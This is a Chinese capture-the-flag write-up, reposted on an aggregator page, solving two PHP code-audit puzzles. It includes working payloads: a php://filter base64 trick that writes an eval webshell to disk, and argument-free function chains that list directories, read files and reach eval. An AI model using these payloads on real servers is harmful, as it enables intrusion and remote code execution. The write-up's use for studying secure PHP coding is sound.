p神 代码审计知识星球二周年wp[2]
参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/
http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/
递归匹配:http://www.laruence.com/2011/09/30/2179.html
easy - phpmagic
源码
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html>
解题思路
能控制文件名和文件内容,但是文件内容被htmlspecialchars函数
过滤了一次,尖括号没了。PHP的一个特点:只要是传filename
的地方,基本都可以传协议流
。而file_put_contents
的第一个参数就是传filename
的地方
一个简单的栗子
利用php伪协议流解码base64写入webshell
其他问题
- 后缀名将能解析php文件的全禁止了
-
$log_name
之前会加上$_SERVER['SERVER_NAME']
,不完全可控文件名 - 文件内容也不完全可控
解决方法
- 一个可以在windows和linux上都行得通的方法:
filename=1.php/.&content=<?php phpinfo();?>
在操作系统中,都是禁止使用/
作为文件名的,但是后面加一个.
就可以成功的写入1.php
了。pathinfo就取不到后缀名,可以正常写入.php
之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件
-
$_SERVER['SERVER_NAME']
取的是HTTP headers中的Host
的值。md5($_SERVER['REMOTE_ADDR'])
是自己本机外网ip的md5值
最终payload
domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/.
- 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的)
在自己本机上的payload
domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/.
easy - phplimit
源码
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
解题思路
\W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。
那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。
php函数
getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
不带参数的一些函数组合
?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars()));
最终payload
?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
或者
?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
代理模式
定义 为其它对象提供一种代理以控制这个对这个对象的访问。 不管是静态代理还是动态代理,目的都是要拿到目标对象的引用,并且能够调用到目标类的业务方法。 静态代理 人的抽象接口 package com.faith.net.proxy.staticed; /** * 人抽象接口 */ public interface Person { public void drive(); } Boss作为被代理对象 package com.faith.net.proxy.staticed; /** * 老板, 雇佣者 */ public class Boss implements Person { @Override public void drive() { System.out.println("drive.."); } } Employee作为代理对象 package com.faith.net.proxy.staticed; /** * 雇员,可以被任何人雇佣。 * 这个类的作用就是保持被代理类对象的引用,并保证能* 够调用其方法即可。不需要实现Person类 */ public class E...
- 下一篇
队列结构
今天要学习的队列,也是一种线性结构,他包括两类 顺序队列:即使用一组地址连续的内存单元依次保存队列中的数据 链式队列:即使用链表形式保存队列中各元素的值 队列用图来表示就是这样的 从图中可以看出,队列允许在两端进行操作,一段进行添加操作,称为队尾,以便进行删除操作称为队头,他遵循了先进先出FIFO(first in first out)的规则,那这是什么意思呢?拿生活中的例子就是排队,先来的拍前面,前面的先接受服务 从上面也可以看出来,队列的基本操作只有两种 入队:就是将元素添加到队尾 出队:就是将队头的元素移出 那么我们来看的一下队列的入队出队流程 注意:上图的添加顺序是按照数字的大小顺序添加的,而非从右到左添加的:即添加顺序为0>1>2>3>4>5>6,而不是类似压入栈的顺序:6>5>4>3>2>1>0 如上就反映出来一个问题:随着出队和入队的操作,tail指针一直在往后移,也就导致了整个队列在"假变小",因为入队只能在一端进行,所以tail就一直往后移,导致了前面的出队后的位置不能再次利用,那么我们应该怎么去...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- Linux系统CentOS6、CentOS7手动修改IP地址
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- SpringBoot2全家桶,快速入门学习开发网站教程
- CentOS7设置SWAP分区,小内存服务器的救世主
- Docker快速安装Oracle11G,搭建oracle11g学习环境